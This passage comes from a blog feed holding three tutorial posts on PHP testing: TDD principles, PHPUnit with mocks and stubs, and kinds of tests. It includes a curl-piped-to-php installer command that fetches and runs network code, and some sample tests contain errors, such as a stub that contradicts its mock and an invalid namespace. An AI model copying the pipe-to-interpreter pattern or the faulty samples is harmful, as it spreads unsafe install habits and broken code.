            <content type="html"><![CDATA[<p>This article is part of a series on Tests in general and on how to practice
them:</p>

<ol>
<li><a href="/2014/02/05/tests-introduction.html">Introduction</a></li>
<li><a href="/2014/02/12/tests-tools-overview.html">Tools overview</a></li>
<li><a href="/2014/02/19/test-driven-development.html">Test Driven Development</a></li>
<li><a href="/2014/02/26/tdd-just-do-it.html">TDD: just do it!</a></li>
<li><a href="/2014/03/05/spec-bdd.html">spec BDD</a></li>
<li><a href="/2014/03/11/phpspec-quick-tour.html">phpspec: a quick tour</a></li>
<li><a href="/2014/03/19/behavior-driven-development-story-bdd.html">Behavior Driven Development: story BDD</a></li>
<li><a href="/2014/03/26/behat-quick-tour.html">Behat: a quick tour</a></li>
<li><a href="/2014/04/02/tests-cheat-sheet.html">Conclusion</a></li>
</ol>

<p>Unlike the two previous articles, this one requires some experience in testing.
While Test Driven Development (TDD) oficionados would tell you that on the
contrary this is the way to learn tests, I'd rather advise you to practice them
a little bit before hand, so you can fully grasp the interest of this principle.</p>

<p>In this article, we'll cover:</p>

<ol>
<li><a href="#introduction">an introduction to TDD</a></li>
<li><a href="#writing-the-test-first">why we should write tests first</a></li>
<li><a href="#writing-the-code-afterward">how to write the code afterward</a></li>
<li><a href="#refactoring-in-the-end">the importance of refactoring in the end</a></li>
</ol>

<p><a href="#conclusion">TL;DR: jump to the conclusion</a>.</p>

<h2 id="introduction">Introduction</h2>

<p>Test Driven Development (TDD) is a simple principle stating that we should:</p>

<ol>
<li>write the test first</li>
<li>then write the code to make it pass</li>
<li>then refactor to clean the mess</li>
</ol>

<p>It is also described as <code>red, green, refactor</code> to reflect the state of the tests
after being run in the end of each step. Well the last step should still be
green, but it wouldn't be self explicit if we said <code>red, green, green</code> wouldn't
it?</p>

<p>Kent Beck is considered to be the father of TDD, even though this practice must
have been used before, especially because he wrote the
<a href="http://en.wikipedia.org/wiki/Test-Driven_Development_by_Example">'bible' Test Driven Development by Example</a>
and also because he created the <a href="http://en.wikipedia.org/wiki/Extreme_Programming">eXtreme Programming methodology</a>
(which integrates TDD into its practices).</p>

<p>TDD mostly applies to <strong>unit</strong> tests, but it could be used for any kind of test.</p>

<p>Each step has a purpose, which we'll discover.</p>

<h2 id="writing-the-test-first">Writing the test first</h2>

<p>So, why would we write the test before the code? The idea behind this is to
write a piece of software which will describe how to use the future code: when
writing the test, you're not bothered with implementation details and will
naturally create the API (the public methods).</p>

<p>The first consequence to this step is having a meaningful code coverage: no need
for tools to inspect which lines of code are executed when running the test in
order to make sure the code is properly tested
(<a href="http://codemanship.co.uk/parlezuml/blog/?postid=1202">those tools aren't effective anyway</a>).</p>

<p>The second one is better design: to write tests you need the code to be
decoupled. Writing tests firts forces you to make those decoupling decision
early. Decoupled code should be easier to re-use, read and maintain.</p>

<h2 id="writing-the-code-afterward">Writing the code afterward</h2>

<p><a href="http://vimeo.com/68375232">As depicted by Ian Cooper</a>, this step is the
<a href="http://www.joelonsoftware.com/items/2009/09/23.html">duct tape progammer</a>'s
one: in order to make the freshly written test pass, every sin should be
commited. Every design, clean code and best practice concerns should be put
aside so the test passes as quickly as possible.</p>

<p>Why so much fuss about all
<a href="http://redotheweb.com/2013/06/04/you-should-write-ugly-code.html">this ugly code</a>?
The main reason is speed, to answer all criticism about how long tests take to
be written.</p>

<p>With this, the school of pragmatic programmers and scholar ones can finally be
reunited: as a matter of fact, while this step is all about the first "clan",
the refactoring step is all about the second one.</p>

<p>To illustrate the fact that sometimes the clean solution comes to mind once the
dirty has been written, here's a quote from <a href="http://eloquentjavascript.net/chapter6.html">the Eloquent Javascript book</a>:</p>

<blockquote>
  <p>A student had been sitting motionless behind his computer for hours,
  frowning darkly. He was trying to write a beautiful solution to a
  difficult problem, but could not find the right approach. Fu-Tzu hit
  him on the back of his head and shouted '<em>Type something!</em>' The student
  started writing an ugly solution. After he had finished, he suddenly
  understood the beautiful solution.</p>
</blockquote>

<h2 id="refactoring-in-the-end">Refactoring in the end</h2>

<p>Now that we have sin, we have created a technical debt. The third and last step
of TDD, refactoring, is all about managing this debt.</p>

<p>The rules here is to step back a little bit, consider how we can improve the
structure of the code to make it simpler, more readable and if there's anything
which can be extracted to be reused.</p>

<p>Once this consideration is done, then we can start moving the code at the only
condition that we don't break the tests. It also means that the tests shouldn't
be modified.</p>

<h2 id="conclusion">Conclusion</h2>

<p>Writing first the test allows a complete and meaningful code coverage, a more
decoupled code and a more natural API (public methods).</p>

<p>Then allowing every sins to write as quickly as possible the code to make the
test pass allows to speed up development through pragmatic decisions.</p>

<p>Finally refactoring without touching the tests allows to get rid of the
technical debt created in the previous step, depending on the estimated time
left for the task.</p>

<p>Unfortunately TDD comes with a quite steep learning curve, but hey! You don't
get something for nothing!</p>

<p>I hope you enjoyed this article, if you'd like to make any comments about it
(either good or bad), please feel free to do so <a href="https://twitter.com/epiloic">on Twitter</a>.</p>

<p>There's been many criticism about TDD, and most of those are simply
misconceptions. If you're part of the sceptics,
<a href="http://codemanship.co.uk/parlezuml/blog/?postid=1170">check if your argument is listed in Jason Gorman's article</a>.</p>

<p>The next article is about <a href="/2014/02/26/tdd-just-do-it.html">actually doing TDD</a>.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Tests: Tools overview]]></title>
            <link href="/2014/02/12/tests-tools-overview.html"/>
            <updated>2014-02-12T00:00:00+00:00</updated>
            <id>/2014/02/12/tests-tools-overview.html</id>
            <content type="html"><![CDATA[<p>This article is part of a series on Tests in general and on how to practice
them:</p>

<ol>
<li><a href="/2014/02/05/tests-introduction.html">Introduction</a></li>
<li><a href="/2014/02/12/tests-tools-overview.html">Tools overview</a></li>
<li><a href="/2014/02/19/test-driven-development.html">Test Driven Development</a></li>
<li><a href="/2014/02/26/tdd-just-do-it.html">TDD: just do it!</a></li>
<li><a href="/2014/03/05/spec-bdd.html">spec BDD</a></li>
<li><a href="/2014/03/11/phpspec-quick-tour.html">phpspec: a quick tour</a></li>
<li><a href="/2014/03/19/behavior-driven-development-story-bdd.html">Behavior Driven Development: story BDD</a></li>
<li><a href="/2014/03/26/behat-quick-tour.html">Behat: a quick tour</a></li>
<li><a href="/2014/04/02/tests-cheat-sheet.html">Conclusion</a></li>
</ol>

<p>This article can be read by any regular developer (no special level required),
we'll put some code on the principles we've previously seen and we'll have a
quick look on existing tools. Here's what we'll cover:</p>

<ol>
<li><a href="#test-frameworks">test frameworks</a></li>
<li><a href="#phpunit">PHPUnit</a></li>
<li><a href="#unit-tests">unit tests</a> with test doubles (mocks and stubs)</li>
<li><a href="#functional-tests">functional tests</a></li>
<li><a href="#user-interface-tests">user interface tests</a></li>
</ol>

<p><a href="#conclusion">TL;DR: jump to the conclusion</a>.</p>

<h2 id="test-frameworks">Test frameworks</h2>

<p>In order to automate your tests (whether they're unitary, functionnal or anything
else), you'll need to use some tools. These would be libraries helping you
doing assertions, or libraries helping you creating test doubles without writing
any new classes, or even frameworks which group those libraries together.</p>

<p>Most of the test frameworks follow the
<a href="http://www.xprogramming.com/testfram.htm"><strong>xUnit</strong> convention, which have been (accidently?) created by Kent Beck</a>.
Those are composed of:</p>

<ul>
<li>a test runner which gather the <strong>test suites</strong>, execute their tests and then
prints the result using a <strong>test result formatter</strong></li>
<li>a test case, a class which you extend to write your tests</li>
<li>test fixtures to provide data as context for the tests</li>
<li>test suites, a bunch of tests which share commonalities (in practice this would
be the class which extends the test case and where you'll write your tests)</li>
<li>test execution: you can execute a bunch of code before every test with a
<strong>setUp</strong> method, and afterward in a <strong>tearDown</strong> function</li>
<li>test result formatter taking responsibility for outputing how test failed,
or if it should be written on the output or in a XML file</li>
<li>assertions which check if the given expected value matches the given actual
value</li>
</ul>

<p>Those are, among a ton of others:</p>

<ul>
<li><a href="http://phpunit.de/">PHPUnit</a> in PHP</li>
<li><a href="https://github.com/atoum/">Atoum</a> in PHP</li>
<li><a href="http://junit.org/">jUnit</a> in Java</li>
<li><a href="http://docs.python.org/2/library/unittest.html">unittest</a> in Python</li>
</ul>

<p>You could aslo find Behavior Driven Development (BDD) style test frameworks:</p>

<ul>
<li><a href="http://codeception.com/">Codeception</a> in PHP</li>
<li><a href="http://www.phpspec.net/">phpspec</a> alongside with <a href="http://behat.org/">Behat</a>
in PHP</li>
<li><a href="http://pivotal.github.io/jasmine/">jasmine</a> in javascript</li>
<li><a href="http://rspec.info/">RSpec</a> in ruby</li>
</ul>

<p>I won't talk about these, as it will be the subject of a future article
(there's so much to say about them).</p>

<p>Full stack frameworks isn't the only thing around here to help you write tests,
there also are some libraries:</p>

<ul>
<li><a href="http://visionmedia.github.io/mocha/">Mocha</a>, a base layer for tests,
in javascript</li>
<li><a href="http://chaijs.com/">Chai</a>, an assertion library in javascript</li>
<li><a href="http://sinonjs.org/">Sinon.js</a>, a test double library in javascript</li>
<li><a href="https://github.com/padraic/mockery">Mockery</a>, a mock framework in PHP</li>
<li><a href="https://github.com/phpspec/prophecy">Prophecy</a>, another mock framework in PHP</li>
</ul>

<p>Choose your weapon wisely!</p>

<h2 id="phpunit">PHPUnit</h2>

<p>I mainly code in PHP, and in this language PHPUnit is the most popular test
framework. It's been there for so long (version 1.0.0 released in July 2006)
that almost any libraries and frameworks are tested with it. So it'll be our tool
for the next examples.</p>

<p>You can install it using <a href="https://getcomposer.org/">Composer</a>:</p>

<pre><code>curl -sS https://getcomposer.org/installer | php # Download composer
composer install "phpunit/phpunit:~3.7"
php vendor/bin/phpunit -h
</code></pre>

<p><strong>Note</strong>: if you don't know Composer, let's just say that it makes your life easier
by downloading for you the libraries you told him to (it takes care of selecting
the good versions and can update them to get bug fixes). It also autoloads your
classes so you don't have to require them.</p>

<p>Now that you have the latest stable version, you'll need to configure it:</p>

<pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;!-- File: phpunit.xml --&gt;
&lt;phpunit
    backupGlobals="false"
    colors="true"
    syntaxCheck="false"
    bootstrap="test/bootstrap.php"
&gt;
    &lt;testsuites&gt;
        &lt;testsuite name="Fossil Test Suite"&gt;
            &lt;directory suffix="Test.php"&gt;./test/&lt;/directory&gt;
        &lt;/testsuite&gt;
    &lt;/testsuites&gt;
&lt;/phpunit&gt;
</code></pre>

<p>This configuration tells PHPUnit to look (recursively) in the <code>test</code> directory
for files ending in <code>Test.php</code>. Those will be your test suites.</p>

<p>You'll need a bootstrap file in order to use composer's autoloader:</p>

<pre><code>&lt;?php

$loader = require __DIR__.'/../vendor/autoload.php';
$loader-&gt;add('Gnugat\\Fossil\\Test', __DIR__);
</code></pre>

<p>And voilà! You can now write your tests in <code>test</code>.</p>

<h2 id="unit-tests">Unit tests</h2>

<p>The common understanding of unit test is a symmetry between classes and tests:
when you have a class with 2 methods, you need to have a test class for it
which will test these two methods.</p>

<p>It looks like this wasn't the real meaning of the term unit, which should have
meant making tests which can be run in any order without ruinning them, and as
many times as wanted. Fortunately a new kind of test was created to fix this
misunderstanding, so let's stick with the common one.</p>

<p>Imagine you have the following class, which creates a file if it doesn't already
exist:</p>

<pre><code>&lt;?php
// File: src/MarkdownFile/DocumentationWriter.php

namespace Gnugat\Fossil\MarkdownFile;

use Symfony\Component\Filesystem\Filesystem;

class DocumentationWriter
{
    private $filesystem;

    public function __construct(Filesystem $filesystem)
    {
        $this-&gt;filesystem = $filesystem;
    }

    public function write($absolutePathname, $content)
    {
        if (!$this-&gt;filesystem-&gt;exists($absolutePathname)) {
            $this-&gt;filesystem-&gt;dumpFile($absolutePathname, $content);
        }
    }
}
</code></pre>

<p><strong>Note</strong>: once again the code samples are taken from
<a href="https://github.com/gnugat/fossil">fossil</a>, have a look at
<a href="/2014/01/15/bootstrap-markdown-files-of-your-FOSS-project.html">this article</a>
to discover what it is.</p>

<p>In order for it to be autoloaded, you'll need to edit your <code>composer.json</code> file:</p>

<pre><code>{
    "require": {
        "phpunit/phpunit": "~3.7"
    },
    "autoload": {
        "psr-4": {
            "Gnugat\\Fossil": "src/"
        }
    }
}
</code></pre>

<p>To test it, we could run it and check if the file has been created with the
given content, but that would be testing Symfony2's <code>Filesystem</code> which
<a href="https://github.com/symfony/symfony/blob/fe86efd3f256c5bda845cf23bf8a5400ae6a295e/src/Symfony/Component/Filesystem/Tests/FilesystemTest.php">happens to be already tested</a>.</p>

<p>So what does our class adds to it? Well it calls <code>Filesystem</code> to check if the
file exists, and if not it calls again the <code>Filesystem</code> to create it. We could
check if those calls are made using stubs and mocks.</p>

<p><strong>Reminder</strong>: stubs are a substitute of an object which forces it to return
a given value. When a System Under Test (SUT, the class you're testing) has
collaborators (classes used by the SUT, also called dependencies), we can stub
them so their behavior is completly controlled.</p>

<p><strong>Reminder</strong>: mocks are a substitute of an object which checks if its methods
have been called. When a System Under Test (SUT, the class you're testing) has
collaborators (classes used by the SUT, also called dependencies), we can mock
them to monitor their use.</p>

<p>PHPUnit allows us to create stubs and mocks without having to write a class
which extends the colaborator and overwrites its methods:</p>

<pre><code>&lt;?php
// File: test/MarkdownFile/DocumentationWriterTest.php

namespace Gnugat\Fossil\Test\MarkdownFile;

use Gnugat\Fossil\MarkdownFile\DocumentationWriter;

class DocumentationWriterTest extends \PHPUnit_Framework_TestCase
{
    const FIXTURE_ABSOLUTE_PATHNAME = '/tmp/example.txt';
    const FIXTURE_CONTENT = "Hello world\n";

    public function setUp()
    {
        $this-&gt;filesystem = $this-&gt;getMock('Symfony\\Component\\Filesystem\\Filesystem');
        $this-&gt;documentationWriter = new DocumentationWriter($this-&gt;filesystem);
    }

    public function testWriteNewFile()
    {
        // Stub
        $this-&gt;filesystem-&gt;expects($this-&gt;any())
            -&gt;method('exists')
            -&gt;with(self::FIXTURE_ABSOLUTE_PATHNAME)
            -&gt;will($this-&gt;returnValue(true))
        ;

        // Mock
        $this-&gt;filesystem-&gt;expects($this-&gt;once())
            -&gt;method('dumpFile')
            -&gt;with(
                $this-&gt;equalTo(self::FIXTURE_ABSOLUTE_PATHNAME),
                $this-&gt;equalTo(self::FIXTURE_CONTENT)
            )
        ;

        // Call
        $this-&gt;documentationWriter-&gt;write(
            self::FIXTURE_ABSOLUTE_PATHNAME,
            self::FIXTURE_CONTENT
        );
    }
}
</code></pre>

<p>In the stub: for every call (<code>expects($this-&gt;any())</code>) of the method <code>exists</code>
with the parameter <code>self::FIXTURE_ABSOLUTE_PATHNAME</code>, force the colaborator to
return <code>true</code>.</p>

<p>In the mock: a unique call must be made (<code>expects($this-&gt;once())</code>) of the method
<code>dumpFile</code> with the two parameters <code>self::FIXTURE_ABSOLUTE_PATHNAME</code> and
<code>self::FIXTURE_CONTENT</code>.</p>

<p>You can run the test using <code>php vendor/bin/phpunit</code> and see that they pass. As
an exercise, write a second method in this test suite
<code>testDoesNotWriteExistingFile</code>, with a stub returning false and a mock checking
that <code>dumpFile</code> is never called (<a href="http://phpunit.de/manual/3.7/en/test-doubles.html#test-doubles.mock-objects.tables.matchers">hint</a>).</p>

<p>I advise you to watch <a href="http://verraes.net/2013/09/extract-till-you-drop/">extract till you drop</a>,
a nice refactoring session by Mathias Verraes: in order to improve his code, he
writes tests which give him enough confidence to proceed. He uses PHPUnit with
assertions, mocks and stubs, so you can really see their use.</p>

<h2 id="functional-tests">Functional tests</h2>

<p>Unit tests are used in order to make sure each unit of <code>code</code> works as expected.
But applications aren't just about code, they're also about interactions
between these units. This is what functional tests are for: they use the entry
point of the system and check the final status code.</p>

<p>To illustrate this, we'll still use PHPUnit: even though there's the word <code>unit</code>
in its name, this test framework allows us to write many types of tests.</p>

<p>The Symfony2 web framework is all about the HTTP protocol: it takes a HTTP
Request and returns a HTTP Response. It also provides a convenient client which
simulates HTTP Requests, allowing us to write easily functional tests:</p>

<pre><code>&lt;?php
// File: src/Acme/DemoBundle/Tests/Controller/DemoControllerTest.php

namespace Acme\DemoBundle\Tests\Controller;

use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
use Symfony\Component\HttpFoundation\Response;

class DemoControllerTest extends WebTestCase
{
    public function testIndex()
    {
        $client = static::createClient();

        $client-&gt;request('GET', '/demo/hello/Fabien');

        $this-&gt;assertSame(
            Response::HTTP_OK,
            $client-&gt;getResponse()-&gt;getStatusCode()
        );
    }
}
</code></pre>

<p>The <code>assertSame</code> line is an assertion: it compares the expected value (first
argument) with the actual one (second one). PHPUnit provides many assertions:</p>

<ul>
<li><code>assertSame</code> is equivalent to <code>===</code> (type and value comparison)</li>
<li><code>assertEquals</code> is equivalent to <code>==</code> (loose value comparison)</li>
<li><code>assertFileExists</code> checks if the given filename corresponds to an exisitng file</li>
<li><a href="http://phpunit.de/manual/3.7/en/appendixes.assertions.html">and many more</a></li>
</ul>

<p>Different approaches exist with assertions, for example jasmine uses the
<code>expect</code> method to set the actual value, chained with a matcher like <code>toBe</code>
which takes the expected value:</p>

<pre><code>describe("A suite", function() {
  it("contains spec with an expectation", function() {
    var expectedValue = true;
    var actualValue = true;

    expect(actualValue).toBe(expectedValue);
  });
});
</code></pre>

<p>In this case, assertions are splitted into expectations and matchers.</p>

<p>Back to our sheeps. Here's an example of functional test for a Symfony2 command:</p>

<pre><code>&lt;?php
// File: src/Acme/DemoBundle/Tests/Command/GreetCommandTest.php

namespace Acme/DemoBundle/Tests/Command;

use Symfony\Component\Console\Tester\CommandTester;
use Symfony\Bundle\FrameworkBundle\Console\Application;
use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
use Acme\DemoBundle\Command\GreetCommand;

class ListCommandTest extends WebTestCase
{
    public function testExecute()
    {
        $kernel = $this-&gt;createKernel();
        $kernel-&gt;boot();

        $application = new Application($kernel);
        $application-&gt;add(new GreetCommand());

        $command = $application-&gt;find('demo:greet');
        $commandTester = new CommandTester($command);
        $commandTester-&gt;execute(
            array(
                'name' =&gt; 'Fabien',
                '--yell'  =&gt; true,
            )
        );

        $exitSuccess = 0;

        $this-&gt;assertSame($exitSuccess, $commandTester-&gt;getStatusCode());
    }
}
</code></pre>

<p>Just like with a controller where we check the HTTP Response's status code, in
a command we check the exit status code.</p>

<h2 id="user-interfact-tests">User Interfact tests</h2>

<p>Up until now, we've been testing that the code worked and that interractions
between all those units go well. But what about the thing the user actually
sees and interacts with?</p>

<p>The User Interface (UI) turns out to be tricky to test, but not impossible. You
can click on buttons, or load pages, or run CLI tasks programmatically and you
can inspect the standard output or the HTTP Response's content.</p>

<p>The main problem with this is that you'll tie your tests to the UI, which
changes a lot.</p>

<p>We'll see briefly the tools available and then better explain the flaws of such
a technique.</p>

<h3 id="selenium">Selenium</h3>

<p><a href="http://docs.seleniumhq.org/">Selenium</a> allows you to open a browser and
simulates interractions with the page. Technically it means having a Selenium
server running in the background, and using a webdriver library in your test to
send messages to it. In PHP, you can find those webdrivers:</p>

<ul>
<li><a href="https://github.com/alexandresalome/php-webdriver">One by Alexandre Salomé</a></li>
<li><a href="https://github.com/facebook/php-webdriver">another one by Facebook</a></li>
</ul>

<p>You can find code samples in the respective documentation of each library, for
example here's the doc describing <a href="https://github.com/alexandresalome/php-webdriver/blob/master/doc/elements.rst#element-api">how to click on a button with Alexandre's one</a>.</p>

<p>If you're curious, <a href="http://codeception.com/11-20-2013/webdriver-tests-with-codeception.html">here's how to use Selenium with another test framework</a>:
<a href="http://codeception.com/">Codeception</a>.</p>

<h3 id="casperjs">CasperJs</h3>

<p>You don't like the idea of running a server in order to run your tests? You
don't want a browser to be openned and you <a href="http://stackoverflow.com/questions/2354590/why-is-selenium-rc-so-slow">find it too slow</a>?</p>

<p>Then you might want to try a <strong>headless website testing</strong> solution like
<a href="http://casperjs.org/">CasperJs</a>. It's headless because it won't open a
browser to make the tests.</p>

<p>Here's the <a href="http://docs.casperjs.org/en/latest/quickstart.html">get started documentation</a>,
so you can have a quick look on how to use it.</p>

<h3 id="goutte">Goutte</h3>

<p>Simulating a browser is too much for you? Making a curl request and parsing its
response would be sufficient for your needs? Then have a look at the
<a href="https://github.com/fabpot/goutte">Goutte web scrapper</a>.</p>

<p>This one also allows you to click on links.</p>

<h3 id="mink">Mink</h3>

<blockquote>
  <p>One Tool to rule them all, One Tool to find them,
  One Tool to bring them all and in the webness bind them</p>
</blockquote>

<p><a href="http://mink.behat.org/">Mink</a> can use either Goutte or Selenium as a driver to
interract with the UI. It's goal is to provide a unified API.</p>

<h3 id="what%27s-the-point%3F">What's the point?</h3>

<p>The thing in common with all these tools is that they rely on the HTML rendered
in the HTTP Response. In order to check if a message appears, you'll have to
crawl the page, find the <code>div</code> using its class or id in a CSS selector, or even
worse using its xpath.</p>

<p>When the page will change (and it will) your tests will be broken. There's some
best practices out there, mainly making your tests rely on ID's on one hand and
making your code and stylesheets rely on classes on the other hand, but in the
end it still is a risky business.</p>

<p>Well that's my opinion and this section might be more a rant than an objective
description. To counter balance this, here's a nice article on
<a href="http://blog.mozilla.org/webqa/2013/09/26/writing-reliable-locators-for-selenium-and-webdriver-tests/">writing reliable locators for Selenium and WebDriver tests</a>.</p>

<h2 id="conclusion">Conclusion</h2>

<p>In PHP, <a href="http://phpunit.de/">PHPUnit</a> is the most popular test framework and it
allows you to write unit, functional and every other kinds of tests.</p>

<p>Unit tests allow you to make sure each functions return the expected output when
given a set of fixtures, and functional tests are used to check the status code
(think HTTP response, or a command's exit status).</p>

<p>Stubs are used to force a colaborator's method to return a wanted value, and
mocks are used to check if a colaborator's method have been called.</p>

<p><a href="http://docs.seleniumhq.org/">Selenium</a> is the most popular tool to test the
User Interface, which is done by interracting with the HTML rendered in the
HTML's reponse.</p>

<p>I hope this article helped you to see how each kinds of tests are written. The
next one will be on Test Driven Development, a practice where tests are written
before the code: <a href="/2014/02/19/test-driven-development.html">TDD</a>.</p>

<p>If there's something bothering you in this post, or if you have a question, or
if you want to give me your opinion, be sure to do so on
<a href="https://twitter.com/epiloic">Twitter</a> ;) .</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Tests: Introduction]]></title>
            <link href="/2014/02/05/tests-introduction.html"/>
            <updated>2014-02-05T00:00:00+00:00</updated>
            <id>/2014/02/05/tests-introduction.html</id>
            <content type="html"><![CDATA[<p>This article is part of a series on Tests in general and on how to practice
them:</p>

<ol>
<li><a href="/2014/02/05/tests-introduction.html">Introduction</a></li>
<li><a href="/2014/02/12/tests-tools-overview.html">Tools overview</a></li>
<li><a href="/2014/02/19/test-driven-development.html">Test Driven Development</a></li>
<li><a href="/2014/02/26/tdd-just-do-it.html">TDD: just do it!</a></li>
<li><a href="/2014/03/05/spec-bdd.html">spec BDD</a></li>
<li><a href="/2014/03/11/phpspec-quick-tour.html">phpspec: a quick tour</a></li>
<li><a href="/2014/03/19/behavior-driven-development-story-bdd.html">Behavior Driven Development: story BDD</a></li>
<li><a href="/2014/03/26/behat-quick-tour.html">Behat: a quick tour</a></li>
<li><a href="/2014/04/02/tests-cheat-sheet.html">Conclusion</a></li>
</ol>

<p>This introduction can be read by anyone (no special level required) and it
targets those who've never heard about tests, or those you've never really
practice them. Here's what we'll cover:</p>

<ol>
<li><a href="#what-is-a-test">what is a test</a></li>
<li><a href="#what-are-the-different-kinds-of-tests">which kinds of tests are around there</a></li>
<li><a href="#how-to-do-an-isolated-test">how to do an isolated test</a></li>
</ol>

<p><a href="#conclusion">TL;DR: jump to the conclusion</a>.</p>

<h2 id="what-is-a-test%3F">What is a test?</h2>

<p>A test is a way to check if part of the system is working. Let's say you just
wrote the <code>strlen</code> function: it takes a string as argument and returns its
length. To make sure it works correctly, you might have created a script file
which looked like this:</p>

<pre><code>&lt;?php

echo strlen('We'); // Should print 2
echo strlen('are'); // Sould print 3
echo strlen('the knights'); // Should print 11
echo strlen('who say "Ni"!'); // Should print 13
</code></pre>

<p>This script (which you might have thrown away once satisfied with the printed
result) is a test. It makes sure your function works correctly by providing it
with different inputs and comparing its output with the expected one.</p>

<p>This test is not really efficient, but it does the work. Let's see how to
improve it in the following sections.</p>

<h2 id="what-are-the-different-kinds-of-tests">What are the different kinds of tests</h2>

<p>Tests can be grouped under 3 categories:</p>

<ol>
<li>random manual tests</li>
<li>scenarized manual tests</li>
<li>automated tests</li>
</ol>

<h3 id="random-manual-tests">Random manual tests</h3>

<p>The first one is when you use your software to see if it works correctly. This
is the worst kind of test because systems can be so complex that some part will
enventually be forgoten, and therefore not checked.</p>

<p>Incidentally, this is what happens everyday when users use your product, except
you're not sure if they'll report the bugs they see (and for each bug discovery
you can potentially lose them).</p>

<p>Why do I mention it, if it's so bad? Because it's still usefull to discover bugs
on parts which haven't been correctly covered by the other kinds of tests.
Actually this is the kind of tests which are done during beta-tests: you get a
restricted set of (volunteer) users to use your product and see if everything
is fine.</p>

<h3 id="scenarized-manual-tests">Scenarized manual tests</h3>

<p>Let's take a scientific approach to the first kind of tests by writing test
plans which describe use cases with their expected outcome.</p>

<p>Everytime someone tests the system, they follow the scenario given to them.
This is an improvement of the previous approach as there's less risk of
forgoting a step which is written.</p>

<p>Those tests are generally followed (more or less rigorously) during
<strong>acceptance testing</strong> at the end of developments by the customer or product
owner or even better by Quality Assurance (QA).</p>

<h3 id="automated-tests">Automated tests</h3>

<p>The problem with the two previous categories is that they require humans, and
<em>to err is human</em>. The software industry was partly created to automate
repititive tasks, so how about we automate those tests?</p>

<p>The simplest way of automating test is to use assertions:</p>

<pre><code>&lt;?php

$input = 'We are no longer the knights who say "Ni"!';
$expectedOutput = 42;

$output = strlen($input);

echo ($expectedOutput === $output ? 'Test pass' : 'Test fails');
</code></pre>

<p>If you keep this script, you can run it regurarly, which means the risk of
forgoting a step is almost near zero! I say almost because the test doesn't
magically cover every use case: human still have to write them, which lets a
small room for errors to happen, but this is the best we can do.</p>

<p>As you can see, automated tests are constructed very simply:</p>

<ol>
<li>define the input and the expected output</li>
<li>execute the part of the system which needs to be tested</li>
<li>compare its output with the expected one</li>
</ol>

<h2 id="further-kinds-of-tests">Further kinds of tests</h2>

<p>We've seen the 3 big categories of tests. But that's not quite it: whether it's
automated or not, your tests can target many levels/layers in your application:</p>

<ul>
<li>View layer:

<ul>
<li>User Interface (UI) tests: HTML and DOM</li>
</ul></li>
<li>Application layer:

<ul>
<li>functional tests: controllers, HTTP status code, command exit status</li>
</ul></li>
<li>Domain layer (the code which solves business needs):

<ul>
<li>behavior tests: interaction between classes</li>
<li>unit tests: services, interfaces, functions</li>
</ul></li>
</ul>

<p><strong>Note</strong>: this classification has been taken from
<a href="https://speakerdeck.com/halleck/symfony2-un-framework-oriente-domain-driven-design?slide=20">Jean François Lépine's slides</a></p>

<p>Each of those tests can be executed manually, or can be automated.</p>

<p>There's so many types of tests out there, and so little of us to write them!
Depending on your team, competences, project and planning, you won't be able to
write every possible tests.</p>

<p>I'm afraid you'll have somehow to chose which kind of test is more suitable for
you project. As a matter of fact, testing everything isn't wise:</p>

<pre><code>&lt;?php

class User
{
    private $name;

    public function __construct($name)
    {
        $this-&gt;name = $name;
    }

    public function getName()
    {
        return $this-&gt;name;
    }
}

// Is this test really usefull? I think not!
$input = 'Johann Gambolputty de von Ausfern -schplenden -schlitter -crasscrenbon -fried -digger -dangle -dungle -burstein -von -knacker -thrasher -apple -banger -horowitz -ticolensic -grander -knotty -spelltinkle -grandlich -grumblemeyer -spelterwasser -kürstlich -himbleeisen -bahnwagen -gutenabend -bitte -eine -nürnburger -bratwustle -gerspurten -mit -zweimache -luber -hundsfut -gumberaber -shönendanker -kalbsfleisch -mittler -raucher von Hautkopft of Ulm.';
$expectedOutput = $input;

$user = new User($input);
$output = $user-&gt;getName();

echo ($expectedOutput === $output ? 'Test pass' : 'Test fails');
</code></pre>

<p>In the upper code sample, we're testing if the getter returns a value which
haven't been modified. Sure you could introduce a typo while sketching the
class, but once you've manually tested it a first time there's no need to check
regularly if it still works in the future.</p>

<p>You may not be able to write every possible tests, but still writing some tests
will save you time in the future as it will prevent regression: the software
industry is an industry of changing requirements, which means your code will
eventually be changed, adapted and sometime completly re-written.</p>

<p>Tests will allow you to change the code lighthearted, because if your change
breaks something, you'll know it simply by running your tests.</p>

<h2 id="how-to-do-an-isolated-test%3F">How to do an isolated test?</h2>

<p>Chances are your system is composed of parts which interact with each other:
your functions call other functions, your classes depend on other classes and
use external functions, etc.</p>

<p>What if the part of the system you want to test interracts with a database, the
filesystem and also use a randomizer? Yep that's right, a randomizer: how can
you even write the expected output if it's supposed to be unpredictable?</p>

<p>The solution is quite simple: you should isolate the part you want to test.
In order to do so, you should use <strong>test doubles</strong> which is the practice of
replacing the dependencies of this part with objects which will behave the way
you tell them to.</p>

<p>There's many kinds of test doubles, fortunately <a href="http://martinfowler.com/articles/mocksArentStubs.html">Martin Fowler has summed it up
for you</a> as follow:</p>

<blockquote>
  <ul>
  <li><p>Dummy objects are passed around but never actually used.
  Usually they are just used to fill parameter lists.</p></li>
  <li><p>Fake objects actually have working implementations, but usually take some
  shortcut which makes them not suitable for production (an in memory
  database is a good example).</p></li>
  <li><p>Stubs provide canned answers to calls made during the test, usually not
  responding at all to anything outside what's programmed in for the test.
  Stubs may also record information about calls, such as an email gateway
  stub that remembers the messages it 'sent', or maybe only how many messages
  it 'sent'.</p></li>
  <li><p>Mocks are what we are talking about here: objects pre-programmed with
  expectations which form a specification of the calls they are expected to
  receive.</p></li>
  </ul>
</blockquote>

<p>In practice you'll use stubs to specify the return value of the dependency, and
you'll use mocks to check if the dependency's method has been called. The best
way to create stubs and mocks is to write a class which inherits the targeted
dependency, and overwrites its public methods.</p>

<p><strong>Note</strong>: the part you want to test is called the System Under Test (SUT), and
its dependencies are called collaborators.</p>

<h3 id="dependency-injection%27s-back%21">Dependency Injection's back!</h3>

<p>Did you notice I've used the word dependency in this section? That's because in
order to make a class <em>testable</em>, you need it to be as decoupled as possible
from its dependencies.</p>

<p>You won't be able to easily replace dependencies which are created by the part
you want to test. The simplest way is to inject them (pass them as arguments)
